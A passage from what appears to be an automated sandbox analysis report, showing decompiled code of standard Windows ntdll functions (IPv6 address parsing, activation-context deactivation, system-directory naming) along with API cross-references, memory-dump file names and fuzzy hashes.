					if(_t117 != 0) {
						_t118 = _t117 - 1;
						if(_t118 != 0) {
							_t117 = _t118 == 1;
							if(_t118 == 1) {
								goto L3;
							}
							_t121 = _v20;
							_t177 = _v24;
							L27:
							if(_t177 != 1) {
								L32:
								_t142 = _a12;
								L52:
								_t153 = _v32;
								_t180 = _v12;
								if(_t153 == 0) {
									goto L28;
								}
								if(_t121 != 0) {
									if(_t180 > 3) {
										L14:
										return 0xc000000d;
									}
									_t122 = strtol(_t153, 0, 0xa);
									_t189 = _t189 + 0xc;
									if(_t122 > 0xff) {
										goto L14;
									}
									_t170 = _v20;
									 *(_t170 + _v28 * 2 + _t142 - 1) = _t122;
									L29:
									_t97 = _v24;
									L30:
									_t155 = _a4 + 1;
									_a4 = _t155;
									_t141 =  *_t155;
									_t143 = _v16;
									continue;
								}
								if(_t180 > 4) {
									goto L14;
								}
								_t123 = strtol(_t153, _t121, 0x10);
								_t189 = _t189 + 0xc;
								_t124 = _v28;
								 *((short*)(_t142 + _t124 * 2)) = _t123;
								_v28 = _t124 + 1;
							}
							L28:
							_t170 = _v20;
							goto L29;
						}
						_t185 = _t141;
						_t131 = E6A95CB30(_t118, _t141);
						_pop(_t161);
						if(_t131 == 0 || E6A95CC80(_t161, _t185) == 0) {
							_t132 = E6A95CB30(_t131, _t185);
							_pop(_t162);
							if(_t132 == 0 || E6A95CDD0(_t162, _t185) == 0) {
								if(_t141 == 0x3a) {
									if(_v20 != 0 || _t179 > 6) {
										L9:
										_t143 = _v16;
										goto L10;
									} else {
										_t134 = _a4 + 1;
										if( *_t134 != 0x3a) {
											_t177 = 0;
											L43:
											_t180 = _v12;
											_t179 = _t179 + 1;
											_t121 = _v20;
											L26:
											_v24 = _t177;
											goto L27;
										}
										_t143 = _v16;
										if(_t143 != 0) {
											L10:
											_t180 = _v12;
											break;
										}
										_t177 = 2;
										_t37 = _t179 + 1; // 0x1
										_a4 = _t134;
										_push(_t177);
										_v16 = _t37;
										_pop(1);
										goto L43;
									}
								}
								if(_t141 != 0x2e) {
									goto L9;
								}
								if(_v5 != 0) {
									goto L9;
								}
								_t137 = _v20;
								if(_t137 > 2 || _t179 > 6) {
									goto L9;
								} else {
									_t121 = _t137 + 1;
									_v20 = _t121;
									_v24 = 0;
									goto L32;
								}
							} else {
								_t170 = _v20;
								_t180 = _v12 + 1;
								_v12 = _t180;
								if(_t170 != 0) {
									_t143 = _v16;
									break;
								}
								_v5 = 1;
								goto L29;
							}
						} else {
							_t180 = _v12 + 1;
							_v12 = _t180;
							goto L28;
						}
					}
					L3:
					if(_t141 == 0x3a) {
						if(_t170 != 0 || _t179 != 0) {
							break;
						} else {
							_t120 = _a4 + 1;
							if( *_t120 != 0x3a) {
								break;
							}
							_t142 = _a12;
							_a4 = _t120;
							_t121 = _v20;
							_v16 = 1;
							_t151 = _v28;
							_t179 = 2;
							 *((short*)(_t142 + _t151 * 2)) = _t170;
							_t175 = _t179;
							_v28 = _t151 + 1;
							_v24 = _t175;
							goto L52;
						}
					}
					if(_t179 > 7) {
						break;
					}
					_t183 = _t141;
					_t126 = E6A95CB30(_t117, _t141);
					_pop(_t156);
					if(_t126 == 0 || E6A95CC80(_t156, _t183) == 0) {
						_t127 = E6A95CB30(_t126, _t183);
						_pop(_t157);
						if(_t127 == 0 || E6A95CDD0(_t157, _t183) == 0) {
							goto L9;
						} else {
							_t121 = _v20;
							if(_t121 != 0) {
								goto L9;
							}
							_v5 = 1;
							_t177 = 1;
							_v32 = _a4;
							_t180 = 1;
							_v12 = 1;
							goto L26;
						}
					} else {
						_t170 = _v20;
						_v32 = _a4;
						_t97 = 1;
						_v5 = 0;
						_t180 = 1;
						_v24 = 1;
						_v12 = 1;
						goto L30;
					}
				}
				 *_a8 = _a4;
				_t99 = _v20;
				if(_t99 != 0) {
					if(_t99 != 3) {
						goto L14;
					}
					_t179 = _t179 + 1;
				}
				if(_t143 != 0 || _t179 == 7) {
					_t172 = _v24;
					if(_t172 != 1) {
						if(_t172 != 2) {
							goto L14;
						}
						_t173 = _a12;
						 *((short*)(_t173 + _v28 * 2)) = 0;
						L73:
						if(_t143 != 0) {
							_t182 = _t173 + _t143 * 2;
							memmove(_t173 + (_t143 - _t179 + 8) * 2, _t182, _t179 - _t143 + _t179 - _t143);
							_t108 = 8;
							memset(_t182, 0, _t108 - _t179 + _t108 - _t179);
						}
						return 0;
					}
					if(_t99 != 0) {
						if(_t180 > 3) {
							goto L14;
						}
						_t146 = strtol(_v32, 0, 0xa);
						_t189 = _t189 + 0xc;
						if(_t146 > 0xff) {
							goto L14;
						}
						_t173 = _a12;
						 *((char*)(_v20 + _v28 * 2 + _t173)) = _t146;
						L70:
						_t143 = _v16;
						goto L73;
					}
					if(_t180 > 4) {
						goto L14;
					}
					_t115 = strtol(_v32, _t99, 0x10);
					_t173 = _a12;
					_t189 = _t189 + 0xc;
					 *((short*)(_t173 + _v28 * 2)) = _t115;
					goto L70;
				} else {
					goto L14;
				}
			}

0x6a916d1c
0x6a916d1e
0x6a916d21
0x6a916d23
0x6a916d26
0x6a916d28
0x6a916d2b
0x6a916d2d
0x6a916d31
0x6a916d33
0x6a916d39
0x6a916d3c
0x6a916d3f
0x6a916d41
0x6a916d45
0x6a916d48
0x6a916dc7
0x6a916dca
0x6a971e50
0x6a971e53
0x00000000
0x00000000
0x6a971e59
0x6a971e5c
0x6a916e3b
0x6a916e3e
0x6a916e60
0x6a916e60
0x6a971f34
0x6a971f34
0x6a971f37
0x6a971f3c
0x00000000
0x00000000
0x6a971f44
0x6a971f90
0x6a916db9
0x00000000
0x6a916db9
0x6a971f9b
0x6a971fa0
0x6a971fa8
0x00000000
0x00000000
0x6a971fae
0x6a971fb7
0x6a916e43
0x6a916e43
0x6a916e46
0x6a916e49
0x6a916e4a
0x6a916e4d
0x6a916e4f
0x00000000
0x6a916e4f
0x6a971f49
0x00000000
0x00000000
0x6a971f53
0x6a971f5a
0x6a971f5f
0x6a971f62
0x6a971f67
0x6a971f67
0x6a916e40
0x6a916e40
0x00000000
0x6a916e40
0x6a916dd0
0x6a916dd4
0x6a916dd9
0x6a916ddc
0x6a916dea
0x6a916def
0x6a916df2
0x6a916e06
0x6a971e83
0x6a916d8f
0x6a916d8f
0x00000000
0x6a971e92
0x6a971e95
0x6a971e99
0x6a971eb8
0x6a971ebb
0x6a971ebb
0x6a971ebe
0x6a971ec0
0x6a916e38
0x6a916e38
0x00000000
0x6a916e38
0x6a971e9b
0x6a971ea0
0x6a916d92
0x6a916d92
0x00000000
0x6a916d92
0x6a971ea8
0x6a971ea9
0x6a971eac
0x6a971eaf
0x6a971eb0
0x6a971eb3
0x00000000
0x6a971eb3
0x6a971e83
0x6a916e0f
0x00000000
0x00000000
0x6a971ecc
0x00000000
0x00000000
0x6a971ed2
0x6a971ed8
0x00000000
0x6a971ee7
0x6a971ee7
0x6a971eea
0x6a971eed
0x00000000
0x6a971eed
0x6a971e64
0x6a971e67
0x6a971e6a
0x6a971e6b
0x6a971e70
0x6a971fc0
0x00000000
0x6a971fc0
0x6a971e76
0x00000000
0x6a971e76
0x6a916e57
0x6a916e5a
0x6a916e5b
0x00000000
0x6a916e5b
0x6a916ddc
0x6a916d4a
0x6a916d4d
0x6a971ef7
0x00000000
0x6a971f05
0x6a971f08
0x6a971f0c
0x00000000
0x00000000
0x6a971f12
0x6a971f18
0x6a971f1b
0x6a971f1e
0x6a971f21
0x6a971f26
0x6a971f28
0x6a971f2d
0x6a971f2e
0x6a971f31
0x00000000
0x6a971f31
0x6a971ef7
0x6a916d56
0x00000000
0x00000000
0x6a916d58
0x6a916d5c
0x6a916d61
0x6a916d64
0x6a916d76
0x6a916d7b
0x6a916d7e
0x00000000
0x6a916e1a
0x6a916e1a
0x6a916e1f
0x00000000
0x00000000
0x6a916e2c
0x6a916e30
0x6a916e31
0x6a916e34
0x6a916e35
0x00000000
0x6a916e35
0x6a971f6f
0x6a971f74
0x6a971f77
0x6a971f7c
0x6a971f7d
0x6a971f81
0x6a971f82
0x6a971f85
0x00000000
0x6a971f85
0x6a916d64
0x6a916d9b
0x6a916d9d
0x6a916da2
0x6a971fcb
0x00000000
0x00000000
0x6a971fd1
0x6a971fd1
0x6a916daa
0x6a971fd7
0x6a971fdd
0x6a972047
0x00000000
0x00000000
0x6a97204d
0x6a972055
0x6a972059
0x6a97205b
0x6a97205d
0x6a972071
0x6a972078
0x6a972081
0x6a972086
0x00000000
0x6a972089
0x6a971fe1
0x6a97200d
0x00000000
0x00000000
0x6a97201f
0x6a972021
0x6a97202a
0x00000000
0x00000000
0x6a972039
0x6a97203c
0x6a97203f
0x6a97203f
0x00000000
0x6a97203f
0x6a971fe6
0x00000000
0x00000000
0x6a971ff2
0x6a971ff7
0x6a971ffe
0x6a972004
0x00000000
0x00000000
0x00000000
0x00000000

APIs

__isascii.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6A916D5C
isdigit.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6A916D67
__isascii.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6A916D76
isxdigit.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6A916D81
__isascii.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6A916DD4
isdigit.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6A916DDF
__isascii.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6A916DEA
isxdigit.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6A916DF5
strtol.1105(?,00000000,00000010,?,?,00000000,?,00000000,?,00000000), ref: 6A971F53

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: __isascii$isdigitisxdigit$strtol
String ID:
API String ID: 2731936382-0
Opcode ID: ce4017a68cac62f16c561abc348bc20d924df1deea31378d96b57986fe07fbb5
Instruction ID: a15a313072ec557a93c4b50c8efb8d62c8c30131d7a7775c11b71c35f43e3bb5
Opcode Fuzzy Hash: ce4017a68cac62f16c561abc348bc20d924df1deea31378d96b57986fe07fbb5
Instruction Fuzzy Hash: 8EB1C575E0821EABDB14CF68C890BAEB7F9AF46304F314469D954EB241DF30D951C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6A914360, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 144
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E6A914360(signed int _a4, unsigned int _a8) {
				void* _v4;
				signed int _v8;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				intOrPtr _v76;
				signed int _v84;
				signed int _v88;
				char _v92;
				signed int _v96;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t43;
				signed char _t46;
				signed int _t67;
				signed int _t69;
				void* _t70;
				signed int _t79;
				signed int _t82;
				signed int _t83;
				void* _t84;
				signed int _t85;
				void* _t86;
				signed int _t87;
				signed int _t89;

				_t89 = (_t87 & 0xfffffff8) - 0x5c;
				_t40 =  *0x6aa0d360 ^ _t89;
				_v8 =  *0x6aa0d360 ^ _t89;
				_push(_t85);
				if((_a4 & 0xfffffffe) != 0) {
					_push(_a4);
					_push("RtlDeactivateActivationContext");
					_push("SXS: %s() called with invalid flags 0x%08lx\n");
					L17:
					_push(0);
					_push(0x33);
					E6A9A5720();
					_t89 = _t89 + 0x14;
					L19:
					_push(0xc000000d);
					L21:
					L6A96DF30(_t71, _t80);
					L22:
					_t82 =  *_t85;
					_t71 = 0;
					if(_t82 == 0) {
						_t43 = 0;
					} else {
						asm("sbb eax, eax");
						_t43 =  ~( *(_t82 + 8) & 8) & _t82;
					}
					if(_t82 == 0) {
						L20:
						_push(0xc0150010);
						goto L21;
					} else {
						while(_t43 == 0 ||  *((intOrPtr*)(_t43 + 0xc)) != _t80) {
							_t82 =  *_t82;
							_t71 = _t71 + 1;
							if(_t82 == 0) {
								_t43 = 0;
							} else {
								asm("sbb eax, eax");
								_t43 =  ~( *(_t82 + 8) & 8) & _t82;
							}
							if(_t82 != 0) {
								continue;
							}
							break;
						}
						if(_t82 == 0) {
							goto L20;
						}
						_v84 = _v84 & 0x00000000;
						_v88 = _v88 & 0x00000000;
						_push( &_v92);
						_v76 = 3;
						_v72 = _t71;
						_v68 = _t82;
						_v64 = _t85;
						_v92 = 0xc015000f;
						E6A96DEF0(_t71, _t80);
						L8:
						_t83 =  *_t82;
						do {
							_t46 =  *(_t85 + 8);
							_t69 =  *_t85;
							if((_t46 & 0x00000001) != 0) {
								E6A949B10( *((intOrPtr*)(_t85 + 4)));
								_t46 =  *(_t85 + 8);
							}
							if((_t46 & 0x00000008) != 0) {
								_t80 = _t85;
								E6A914439(_v88, _t85);
							}
							_t85 = _t69;
						} while (_t69 != _t83);
						_t40 = _v88;
						 *_v88 = _t83;
						L14:
						_pop(_t84);
						_pop(_t86);
						_pop(_t70);
						return E6A95B640(_t40, _t70,  *(_t89 + 0x64) ^ _t89, _t80, _t84, _t86);
					}
				}
				_t80 = _a8;
				if(_t80 == 0) {
					goto L14;
				}
				if((_t80 & 0xf0000000) != 0x10000000) {
					_push(_t80);
					_push("RtlDeactivateActivationContext");
					_push("SXS: %s() called with invalid cookie type 0x%08Ix\n");
					goto L17;
				}
				_t85 = 0xfff;
				_t71 = _t80 >> 0x00000010 ^  *( *( *[fs:0x18] + 0x1a8) + 0x14);
				_t40 =  *( *[fs:0x18] + 0x1a8);
				if((0x00000fff & (_t80 >> 0x00000010 ^  *( *( *[fs:0x18] + 0x1a8) + 0x14))) != 0) {
					_push( *(_t40 + 0x14) & 0x00000fff);
					_push(_t80);
					E6A9A5720(0x33, 0, "SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix\n", "RtlDeactivateActivationContext");
					_t89 = _t89 + 0x18;
					goto L19;
				}
				_t85 =  *_t40;
				_v96 = _t40;
				if(_t85 == 0) {
					goto L14;
				}
				_t67 =  *(_t85 + 8) & 0x00000008;
				asm("sbb ecx, ecx");
				_t79 =  ~_t67 & _t85;
				if(_t67 == 0 ||  *((intOrPtr*)(_t79 + 0xc)) != _t80) {
					goto L22;
				} else {
					_t82 = _t85;
					goto L8;
				}
			}

0x6a914368
0x6a914370
0x6a914372
0x6a91437e
0x6a914380
0x6a97072a
0x6a97072d
0x6a970732
0x6a970744
0x6a970744
0x6a970746
0x6a970748
0x6a97074d
0x6a97076f
0x6a97076f
0x6a97077b
0x6a97077b
0x6a970780
0x6a970780
0x6a970782
0x6a970786
0x6a970798
0x6a970788
0x6a970792
0x6a970794
0x6a970794
0x6a97079c
0x6a970776
0x6a970776
0x00000000
0x6a97079e
0x6a97079e
0x6a9707a7
0x6a9707a9
0x6a9707ac
0x6a9707be
0x6a9707ae
0x6a9707b8
0x6a9707ba
0x6a9707ba
0x6a9707c2
0x00000000
0x00000000
0x00000000
0x6a9707c2
0x6a9707c6
0x00000000
0x00000000
0x6a9707c8
0x6a9707d1
0x6a9707d6
0x6a9707d7
0x6a9707df
0x6a9707e3
0x6a9707e7
0x6a9707eb
0x6a9707f3
0x6a9143fb
0x6a9143fb
0x6a9143fd
0x6a9143fd
0x6a914400
0x6a914404
0x6a970800
0x6a970805
0x6a970805
0x6a91440c
0x6a914412
0x6a914414
0x6a914414
0x6a914419
0x6a91441b
0x6a91441f
0x6a914423
0x6a914425
0x6a914429
0x6a91442a
0x6a91442b
0x6a914436
0x6a914436
0x6a97079c
0x6a914386
0x6a91438b
0x00000000
0x00000000
0x6a91439d
0x6a970739
0x6a97073a
0x6a97073f
0x00000000
0x6a97073f
0x6a9143ae
0x6a9143b9
0x6a9143c2
0x6a9143ca
0x6a970757
0x6a970758
0x6a970767
0x6a97076c
0x00000000
0x6a97076c
0x6a9143d0
0x6a9143d2
0x6a9143d8
0x00000000
0x00000000
0x6a9143dd
0x6a9143e4
0x6a9143e6
0x6a9143ea
0x00000000
0x6a9143f9
0x6a9143f9
0x00000000
0x6a9143f9

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() called with invalid flags 0x%08lx,RtlDeactivateActivationContext,FFFFFFFE), ref: 6A970748
DbgPrintEx.1105(00000033,00000000,SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix,RtlDeactivateActivationContext,?,?), ref: 6A970767
RtlRaiseStatus.1105(C000000D), ref: 6A97077B
RtlRaiseException.1105(?,?,?), ref: 6A9707F3
RtlReleaseActivationContext.1105(?), ref: 6A970800

Strings

SXS: %s() called with invalid cookie type 0x%08Ix, xrefs: 6A97073F
SXS: %s() called with invalid flags 0x%08lx, xrefs: 6A970732
SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix, xrefs: 6A97075E
RtlDeactivateActivationContext, xrefs: 6A97072D, 6A97073A, 6A970759

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: PrintRaise$ActivationContextExceptionReleaseStatus
String ID: RtlDeactivateActivationContext$SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix$SXS: %s() called with invalid cookie type 0x%08Ix$SXS: %s() called with invalid flags 0x%08lx
API String ID: 1148088771-1245972979
Opcode ID: 1dc3c504ccf4685ac87e2155a40d5a048b2cb02c45abc5b937f087343d545dbc
Instruction ID: ea2ba32d12b31faf107172468a840f1a8cbbdf18335774fdc085681f22bb2b3a
Opcode Fuzzy Hash: 1dc3c504ccf4685ac87e2155a40d5a048b2cb02c45abc5b937f087343d545dbc
Instruction Fuzzy Hash: 6241C371654A019FD321CE19CC81B2AB3E9EFC4756F31852DE8659B281DF35E8018FA1

Uniqueness

Uniqueness Score: -1.00%

Function 6A955969, Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E6A955969(void* __ecx) {
				intOrPtr _v8;
				void* _v12;
				short* _t29;
				intOrPtr _t32;
				signed int* _t37;
				signed int _t38;
				void* _t41;
				intOrPtr _t43;
				signed int** _t44;
				signed int* _t45;
				void _t47;
				intOrPtr* _t49;
				void* _t51;

				_push(__ecx);
				_push(__ecx);
				_t51 = __ecx;
				if(__ecx == 0) {
					E6A9B5100(__ecx, "Internal error check failed", "minkernel\\ntdll\\sxsisol.cpp", 0x20c, "This != NULL");
					_t47 = 0xc00000e5;
					L9:
					return _t47;
				}
				if( *((char*)(__ecx + 0x28)) == 0) {
					L7:
					_t47 = 0;
					L8:
					memset(_t51, 0, 0x2c);
					goto L9;
				}
				_t41 =  *(__ecx + 0x20);
				if(_t41 == 0 ||  *((intOrPtr*)(_t41 + 4)) == 0) {
					_t45 =  *(_t51 + 0x1c);
					if(_t45 != 0) {
						if(_t45[1] !=  *((intOrPtr*)(_t51 + 4))) {
							goto L5;
						}
						_t38 =  *_t51 & 0x0000ffff;
						if(_t38 > _t45[0]) {
							_push("rUS.Length <= This->PrivatePreallocatedString->MaximumLength");
							_push(0x219);
							goto L14;
						}
						 *_t45 = _t38;
						_t44 =  *(_t51 + 0x24);
						if(_t44 == 0) {
							goto L7;
						}
						_t37 =  *(_t51 + 0x1c);
						L19:
						 *_t44 = _t37;
						goto L7;
					}
					L5:
					if(_t41 == 0) {
						_t49 = _t51 + 8;
						if(_t49 != 0) {
							_t32 =  *_t49;
							if(_t32 != 0) {
								_t43 =  *((intOrPtr*)(_t51 + 0xc));
								if(_t32 != _t43) {
									_v8 = _t32;
									RtlFreeUnicodeString( &_v12);
									_t43 =  *((intOrPtr*)(_t51 + 0xc));
								}
								 *_t49 = _t43;
								 *((intOrPtr*)(_t51 + 0x10)) =  *((intOrPtr*)(_t51 + 0x14));
							}
						}
						_t29 =  *((intOrPtr*)(_t51 + 0xc));
						 *((intOrPtr*)(_t51 + 4)) = _t29;
						if(_t29 != 0) {
							 *_t29 = 0;
						}
						 *_t51 = 0;
						 *((short*)(_t51 + 2)) =  *((intOrPtr*)(_t51 + 0x14));
						goto L7;
					}
					 *_t41 =  *_t51;
					 *((intOrPtr*)(_t41 + 4)) =  *((intOrPtr*)(_t51 + 4));
					_t44 =  *(_t51 + 0x24);
					if(_t44 != 0) {
						_t37 =  *(_t51 + 0x20);
						goto L19;
					}
					goto L7;
				} else {
					_push("(This->PrivateDynamicallyAllocatedString == NULL) || (This->PrivateDynamicallyAllocatedString->Buffer == NULL)");
					_push(0x214);
					L14:
					_push("minkernel\\ntdll\\sxsisol.cpp");
					_push("Internal error check failed");
					E6A9B5100(_t41);
					_t47 = 0xc00000e5;
					goto L8;
				}
			}

0x6a95596e
0x6a95596f
0x6a955971
0x6a955976
0x6a98f9b3
0x6a98f9b8
0x6a9559c6
0x6a9559cd
0x6a9559cd
0x6a955980
0x6a9559b7
0x6a9559b7
0x6a9559b9
0x6a9559be
0x00000000
0x6a9559c3
0x6a955982
0x6a955987
0x6a955993
0x6a955998
0x6a98f9f7
0x00000000
0x00000000
0x6a98f9fd
0x6a98fa04
0x6a98f9ce
0x6a98f9d3
0x00000000
0x6a98f9d3
0x6a98fa06
0x6a98fa09
0x6a98fa0e
0x00000000
0x00000000
0x6a98fa14
0x6a98fa17
0x6a98fa17
0x00000000
0x6a98fa17
0x6a95599e
0x6a9559a0
0x6a98fa1e
0x6a98fa23
0x6a98fa25
0x6a98fa29
0x6a98fa2b
0x6a98fa30
0x6a98fa32
0x6a98fa39
0x6a98fa3e
0x6a98fa3e
0x6a98fa44
0x6a98fa46
0x6a98fa46
0x6a98fa29
0x6a98fa49
0x6a98fa4c
0x6a98fa51
0x6a98fa55
0x6a98fa55
0x6a98fa5a
0x6a98fa61
0x00000000
0x6a98fa61
0x6a9559a8
0x6a9559ad
0x6a9559b0
0x6a9559b5
0x6a9559ce
0x00000000
0x6a9559ce
0x00000000
0x6a98f9c2
0x6a98f9c2
0x6a98f9c7
0x6a98f9d8
0x6a98f9d8
0x6a98f9dd
0x6a98f9e2
0x6a98f9e7
0x00000000
0x6a98f9e7

APIs

memset.1105(?,00000000,0000002C,?,00000000,?,?,?,6A93291C), ref: 6A9559BE
RtlAssert.1105(Internal error check failed,minkernel\ntdll\sxsisol.cpp,0000020C,This != NULL,?,00000000,?,?,?,6A93291C), ref: 6A98F9B3
RtlAssert.1105(Internal error check failed,minkernel\ntdll\sxsisol.cpp,00000219,rUS.Length <= This->PrivatePreallocatedString->MaximumLength,?,00000000,?,?,?,6A93291C), ref: 6A98F9E2

Strings

rUS.Length <= This->PrivatePreallocatedString->MaximumLength, xrefs: 6A98F9CE
Internal error check failed, xrefs: 6A98F9AE, 6A98F9DD
minkernel\ntdll\sxsisol.cpp, xrefs: 6A98F9A9, 6A98F9D8
(This->PrivateDynamicallyAllocatedString == NULL) || (This->PrivateDynamicallyAllocatedString->Buffer == NULL), xrefs: 6A98F9C2
This != NULL, xrefs: 6A98F99F

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Assert$memset
String ID: (This->PrivateDynamicallyAllocatedString == NULL) || (This->PrivateDynamicallyAllocatedString->Buffer == NULL)$Internal error check failed$This != NULL$minkernel\ntdll\sxsisol.cpp$rUS.Length <= This->PrivatePreallocatedString->MaximumLength
API String ID: 2494167153-3589341846
Opcode ID: 253dfa885f78eff41b5f92e189cfa62dbafcbececd444586721152a6243b50cf
Instruction ID: 2762f0424e48fe66c8e63b0ff89ea15ab928e7cd3f48153d439bcbcade8d79b5
Opcode Fuzzy Hash: 253dfa885f78eff41b5f92e189cfa62dbafcbececd444586721152a6243b50cf
Instruction Fuzzy Hash: D3318D74245701AFE724CF29C851E26B3F8EF94728B71991EE89A97641EF30E841C754

Uniqueness

Uniqueness Score: -1.00%

Function 6A9519F0, Relevance: 15.8, APIs: 1, Strings: 8, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6A9519F0(signed int __ecx, void* __edx, struct _EXCEPTION_RECORD _a4) {
				void* _t3;
				WCHAR* _t4;
				void* _t6;
				void* _t7;

				_t3 = (__ecx & 0x0000ffff) - 1;
				if(_t3 == 0) {
					_t4 = L"\\System32\\";
					if(__edx == 0) {
						_t4 = L"System32";
					}
					L4:
					RtlInitUnicodeString(_a4, _t4);
					return 0;
				}
				_t6 = _t3 - 0x14b;
				if(_t6 != 0) {
					_t7 = _t6 - 0x78;
					if(_t7 == 0) {
						if(__edx == 0) {
							_t4 = L"SysARM32";
						} else {
							_t4 = L"\\SysARM32\\";
						}
						goto L4;
					}
					if(_t7 == 0x38a0) {
						if(__edx == 0) {
							_t4 = L"SyCHPE32";
						} else {
							_t4 = L"\\SyCHPE32\\";
						}
						goto L4;
					}
					return 0xc000000d;
				} else {
					if(__edx != 0) {
						_t4 = L"\\SysWOW64\\";
					} else {
						_t4 = L"SysWOW64";
					}
					goto L4;
				}
			}

0x6a9519f8
0x6a9519fb
0x6a951a20
0x6a951a27
0x6a951a29
0x6a951a29
0x6a951a11
0x6a951a15
0x00000000
0x6a951a1a
0x6a9519fd
0x6a951a02
0x6a98d31c
0x6a98d31f
0x6a98d34c
0x6a98d358
0x6a98d34e
0x6a98d34e
0x6a98d34e
0x00000000
0x6a98d34c
0x6a98d326
0x6a98d334
0x6a98d340
0x6a98d336
0x6a98d336
0x6a98d336
0x00000000
0x6a98d334
0x00000000
0x6a951a08
0x6a951a0a
0x6a951a30
0x6a951a0c
0x6a951a0c
0x6a951a0c
0x00000000
0x6a951a0a

APIs

RtlInitUnicodeString.1105(?,\System32\,?,6A9519C0,?,?,\SysWOW64,02140000,00000000,?,?), ref: 6A951A15

Strings

SysWOW64, xrefs: 6A951A0C
SysARM32, xrefs: 6A98D358
\SysARM32\, xrefs: 6A98D34E
\SysWOW64\, xrefs: 6A951A30
\SyCHPE32\, xrefs: 6A98D336
\System32\, xrefs: 6A951A20
System32, xrefs: 6A951A11, 6A951A29
SyCHPE32, xrefs: 6A98D340

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode
String ID: SyCHPE32$SysARM32$SysWOW64$System32$\SyCHPE32\$\SysARM32\$\SysWOW64\$\System32\
API String ID: 4228678080-2516413534
Opcode ID: 6313776efe5e355018966409b2b264148de9e0234cc3e97aea5686d2961d5441
Instruction ID: 7a17942bda8284d0e5e86da3aa1d0a308e8aacf288f6b7939474bc9e81097f9a
Opcode Fuzzy Hash: 6313776efe5e355018966409b2b264148de9e0234cc3e97aea5686d2961d5441
Instruction Fuzzy Hash: 90F054A52C8305A6591AEC3C4A43B17A95F47033D4F714527BC60DF715DF0FCD698266

Uniqueness

Uniqueness Score: -1.00%

Function 6A910BD0, Relevance: 15.3, APIs: 10, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6A910BD0(wchar_t* _a4, wchar_t** _a8, intOrPtr _a12) {
				char _v5;
				wchar_t* _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				wchar_t* _v28;
				signed int _v32;
				long _t110;
				wchar_t** _t113;
				wchar_t* _t114;
				wchar_t* _t115;
				long _t116;
				long _t117;
				signed int _t118;
				int _t121;
				int _t122;
				void* _t123;
				wchar_t** _t126;
				int _t127;
				int _t128;
				wchar_t** _t129;
				signed int _t130;
				wchar_t* _t134;
				char _t135;
				wchar_t** _t138;
				char _t141;
				wchar_t** _t144;
				intOrPtr _t145;
				wchar_t* _t146;
				signed int _t147;
				long _t150;
				wchar_t** _t151;
				void* _t153;
				intOrPtr _t154;
				wchar_t* _t155;
				void* _t157;

				_t146 = _a4;
				_t144 = 0;
				_t129 = 0;
				_v20 = 0;
				_v28 = 0;
				_v5 = 0;
				_t150 =  *_t146 & 0x0000ffff;
				_v12 = 0;
				_v16 = 0;
				_v32 = 0;
				_v24 = 0;
				if(_t150 == 0) {
					_t134 = 0;
					L10:
					_t151 = _v20;
					 *_a8 = _t146;
					if(_t151 != 0) {
						if(_t151 != 3) {
							L13:
							return 0xc000000d;
						}
						_t134 = _t134 + 1;
						_v12 = _t134;
					}
					_t147 = _v32;
					if(_t147 != 0 || _t134 == 7) {
						if(_t129 != 1) {
							if(_t129 != 2) {
								goto L13;
							}
							_t145 = _a12;
							 *((short*)(_t145 + _v24 * 2)) = 0;
							L68:
							if(_t147 != 0) {
								_t153 = _t145 + _t147 * 2;
